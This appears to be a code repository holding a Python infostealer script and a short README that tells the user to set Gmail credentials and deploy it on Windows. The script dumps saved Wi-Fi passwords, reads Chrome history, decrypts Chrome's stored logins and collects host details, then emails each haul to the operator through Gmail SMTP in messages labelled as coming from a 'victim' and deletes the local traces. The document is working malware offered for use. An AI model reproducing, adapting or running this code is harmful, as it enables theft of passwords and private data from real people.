├── InfoStealer.py └── README.md /InfoStealer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import smtplib 3 | import base64, os, sys, re 4 | import sqlite3 5 | import socket 6 | import platform 7 | import uuid 8 | 9 | sender = 'youremail@gmail.com' 10 | reciever = 'email@gmail.com' 11 | password = 'password' 12 | # Dont change this 13 | marker = "AUNIQUEMARKER" 14 | 15 | 16 | def wifipass(): 17 | def get_wlans(): 18 | data = os.popen("netsh wlan show profiles").read() 19 | wifi = re.compile("All User Profile\s*:.(.*)") 20 | return wifi.findall(data) 21 | 22 | def get_pass(network): 23 | try: 24 | wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read() 25 | pass_regex = re.compile("Key Content\s*:.(.*)") 26 | return pass_regex.search(wlan).group(1) 27 | except: 28 | return " " 29 | 30 | f = open("wifi.txt","w") 31 | for wlan in get_wlans(): 32 | f.write("-----------\n"+" SSID : "+wlan + "\n Password : " + get_pass(wlan)) 33 | f.close() 34 | 35 | wifipass() 36 | 37 | ################ CHROME ################ 38 | ################ CODE ################ 39 | ################ HERE ################ 40 | def history(): 41 | import operator 42 | from collections import OrderedDict 43 | #import matplotlib.pyplot as plt 44 | 45 | def parse(url): 46 | try: 47 | parsed_url_components = url.split('//') 48 | sublevel_split = parsed_url_components[1].split('/', 1) 49 | domain = sublevel_split[0].replace("www.", "") 50 | return domain 51 | except IndexError: 52 | print "URL format error!" 53 | 54 | def analyze(results): 55 | b=open("chrome1.txt","w") 56 | for site, count in sites_count_sorted.items(): 57 | #print site, count 58 | b.write(site + "\n") 59 | #path to user's history database (Chrome) 60 | b.close() 61 | data_path = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default" 62 | files = os.listdir(data_path) 63 | history_db = os.path.join(data_path, 'history') 64 | #querying the db 65 | c = sqlite3.connect(history_db) 66 | cursor = c.cursor() 67 | select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;" 68 | cursor.execute(select_statement) 69 | results = cursor.fetchall() 70 | sites_count = {} 71 | for url, count in results: 72 | url = parse(url) 73 | if url in sites_count: 74 | sites_count[url] += 1 75 | else: 76 | sites_count[url] = 1 77 | sites_count_sorted = OrderedDict(sorted(sites_count.items(), key=operator.itemgetter(1), reverse=True)) 78 | analyze (sites_count_sorted) 79 | ################ CHROME ################ 80 | ################ CODE ################ 81 | ################ HERE ################ 82 | history() 83 | def chrome(): 84 | import os,sqlite3,win32crypt 85 | data=os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data" 86 | connection = sqlite3.connect(data) 87 | cursor = connection.cursor() 88 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') 89 | final_data=cursor.fetchall() 90 | a=open("chrome.txt","w") 91 | a.write("Extracted chrome passwords :\n") 92 | for website_data in final_data: 93 | password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1] 94 | one="Website : "+str(website_data[0]) 95 | two="Username : "+str(website_data[1]) 96 | three="Password : "+str(password) 97 | a.write(one+"\n"+two+"\n"+three) 98 | a.write("\n"+"====="*10+"\n") 99 | a.close() 100 | 101 | chrome() 102 | 103 | ################ EMAIL ################ 104 | ################ CODE ################ 105 | ################ HERE ################ 106 | filename = "wifi.txt" 107 | fo = open(filename, "rb") 108 | filecontent = fo.read() 109 | encodedcontent = base64.b64encode(filecontent) 110 | 111 | body = """ 112 | New stuff info from victim 113 | """ 114 | part1 = """From: Victim 115 | To: Filip 116 | Subject: Victim wifi 117 | MIME-Version: 1.0 118 | Content-Type: multipart/mixed; boundary=%s 119 | --%s 120 | """ % (marker, marker) 121 | 122 | part2 = """Content-Type: text/plain 123 | Content-Transfer-Encoding:8bit 124 | 125 | %s 126 | --%s 127 | """ % (body,marker) 128 | 129 | part3 = """Content-Type: multipart/mixed; name=\"%s\" 130 | Content-Transfer-Encoding:base64 131 | Content-Disposition: attachment; filename=%s 132 | 133 | %s 134 | --%s-- 135 | """ %(filename, filename, encodedcontent, marker) 136 | 137 | message = part1 + part2 + part3 138 | 139 | try: 140 | smtpObj = smtplib.SMTP('smtp.gmail.com:587') 141 | smtpObj.starttls() 142 | smtpObj.login(sender, password) 143 | smtpObj.sendmail(sender, reciever, message) 144 | fo.close() 145 | os.remove("wifi.txt") 146 | except Exception: 147 | print "Error: unable to send email" 148 | ################################################# 149 | filename = "chrome1.txt" 150 | fo1 = open(filename, "rb") 151 | filecontent = fo1.read() 152 | encodedcontent = base64.b64encode(filecontent) 153 | 154 | body = """ 155 | New stuff info from victim - History 156 | """ 157 | part1 = """From: Victim 158 | To: Filip 159 | Subject: Victim chrome history 160 | MIME-Version: 1.0 161 | Content-Type: multipart/mixed; boundary=%s 162 | --%s 163 | """ % (marker, marker) 164 | 165 | part2 = """Content-Type: text/plain 166 | Content-Transfer-Encoding:8bit 167 | 168 | %s 169 | --%s 170 | """ % (body,marker) 171 | 172 | part3 = """Content-Type: multipart/mixed; name=\"%s\" 173 | Content-Transfer-Encoding:base64 174 | Content-Disposition: attachment; filename=%s 175 | 176 | %s 177 | --%s-- 178 | """ %(filename, filename, encodedcontent, marker) 179 | 180 | message = part1 + part2 + part3 181 | 182 | try: 183 | smtpObj = smtplib.SMTP('smtp.gmail.com:587') 184 | smtpObj.starttls() 185 | smtpObj.login(sender, password) 186 | smtpObj.sendmail(sender, reciever, message) 187 | #print "Successfully sent email" 188 | fo1.close() 189 | os.remove("chrome1.txt") 190 | except Exception: 191 | print "Error: unable to send email" 192 | ########################################### 193 | filename = "chrome.txt" 194 | fo = open(filename, "rb") 195 | filecontent = fo.read() 196 | encodedcontent = base64.b64encode(filecontent) 197 | 198 | body = """ 199 | New stuff info from victim 200 | =========================== 201 | Name: %s 202 | FQDN: %s 203 | System Platform: %s 204 | Machine: %s 205 | Node: %s 206 | Platform: %s 207 | Pocessor: %s 208 | System OS: %s 209 | Release: %s 210 | Version: %s 211 | """ % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ########### 212 | part1 = """From: Victim 213 | To: Filip 214 | Subject: Victim saved pass 215 | MIME-Version: 1.0 216 | Content-Type: multipart/mixed; boundary=%s 217 | --%s 218 | """ % (marker, marker) 219 | 220 | part2 = """Content-Type: text/plain 221 | Content-Transfer-Encoding:8bit 222 | 223 | %s 224 | --%s 225 | """ % (body,marker) 226 | 227 | part3 = """Content-Type: multipart/mixed; name=\"%s\" 228 | Content-Transfer-Encoding:base64 229 | Content-Disposition: attachment; filename=%s 230 | 231 | %s 232 | --%s-- 233 | """ %(filename, filename, encodedcontent, marker) 234 | 235 | message = part1 + part2 + part3 236 | 237 | try: 238 | smtpObj = smtplib.SMTP('smtp.gmail.com:587') 239 | smtpObj.starttls() 240 | smtpObj.login(sender, password) 241 | smtpObj.sendmail(sender, reciever, message) 242 | fo.close() 243 | os.remove("chrome.txt") 244 | except Exception: 245 | print "Error: unable to send email" 246 | 247 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # InfoStealer 2 | 3 | #### Change the gmail credentials and deploy. 4 | ### For deploy on Windows only 5 | 6 | ### Donations? 7 | #### www.paypal.me/toxicnull 8 | --------------------------------------------------------------------------------